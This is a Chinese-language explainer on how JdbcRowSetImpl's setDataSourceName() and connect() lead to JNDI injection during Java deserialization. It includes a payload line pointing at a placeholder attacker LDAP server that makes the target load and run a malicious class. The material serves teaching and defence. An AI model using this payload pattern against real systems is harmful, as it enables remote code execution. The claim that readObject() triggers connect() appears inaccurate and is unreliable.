JdbcRowSetImpl 如何触发的 JNDI 注入
1. 核心原理:setDataSourceName()
与 JNDI
com.sun.rowset.JdbcRowSetImpl
是一个 JDK 自带的类,它实现了 RowSet
接口。JdbcRowSetImpl
的一个核心功能就是通过 DataSource
来连接数据库
DataSource
:DataSource
是一个标准的 Java 接口,用于获取数据库连接。它通常通过 JNDI来查找和绑定setDataSourceName()
:当调用JdbcRowSetImpl
的setDataSourceName()
方法时,它会设置一个 JNDI 查找名称connect()
:当JdbcRowSetImpl
尝试建立连接时,会调用connect()
方法,这个方法会使用InitialContext
类,对setDataSourceName()
设置的名称进行 JNDI 查找
问题的关键在于:当 InitialContext
查找的 URL 指向一个远程的 RMI/LDAP 服务器时,它会自动下载并加载服务器上绑定的 Java 对象
2. 漏洞触发的完整过程
攻击者就是利用这一点,将恶意服务器的地址作为 DataSourceName
,让目标服务器在反序列化时,主动去下载和执行恶意代码
- 攻击者搭建恶意服务:
- 攻击者首先需要搭建一个恶意的 LDAP 或 RMI 服务器
- 在这个服务器上,攻击者会绑定一个恶意的 Java 对象。这个对象通常是一个
Exploit.java
文件,它包含了一个static
静态代码块,可以在被加载时自动执行,例如执行Runtime.exec()
命令
- 构造恶意 Payload:
- 攻击者构造一个恶意的序列化
JdbcRowSetImpl
对象 - 在这个对象中,攻击者会利用反射等方法,将
DataSourceName
属性设置为恶意服务的地址 - 例如:
new JdbcRowSetImpl().setDataSourceName("ldap://<攻击机IP>:<端口>/Exploit")
- 注意:这里的
ldap://
是 JNDI 查找的协议,<攻击机IP>
是攻击者服务器的地址,Exploit
是攻击者在服务器上绑定的恶意对象名
- 攻击者构造一个恶意的序列化
- 发送 Payload:
- 攻击者将这个序列化后的
JdbcRowSetImpl
对象发送给存在反序列化漏洞的目标应用程序 - 这个过程可以是通过 HTTP 请求、文件上传或其他方式
- 攻击者将这个序列化后的
- 目标服务器反序列化:
- 目标应用程序接收到数据后,对
JdbcRowSetImpl
对象进行反序列化 - 在反序列化过程中,
JdbcRowSetImpl
的readObject()
方法被调用 readObject()
方法会触发connect()
方法的调用
- 目标应用程序接收到数据后,对
- 触发 JNDI 注入:
connect()
方法会使用InitialContext
对恶意地址ldap://<攻击机IP>:<端口>/Exploit
进行 JNDI 查找- 由于
java.naming.factory.initial
等配置,或者因为 JDK 版本过低,JVM 会无条件信任远程查找的结果 - JVM 会连接到攻击者的 LDAP 服务器,下载并加载
Exploit
这个恶意对象 - 当
Exploit
对象被加载到内存时,其静态代码块会自动执行,从而执行攻击者预设的系统命令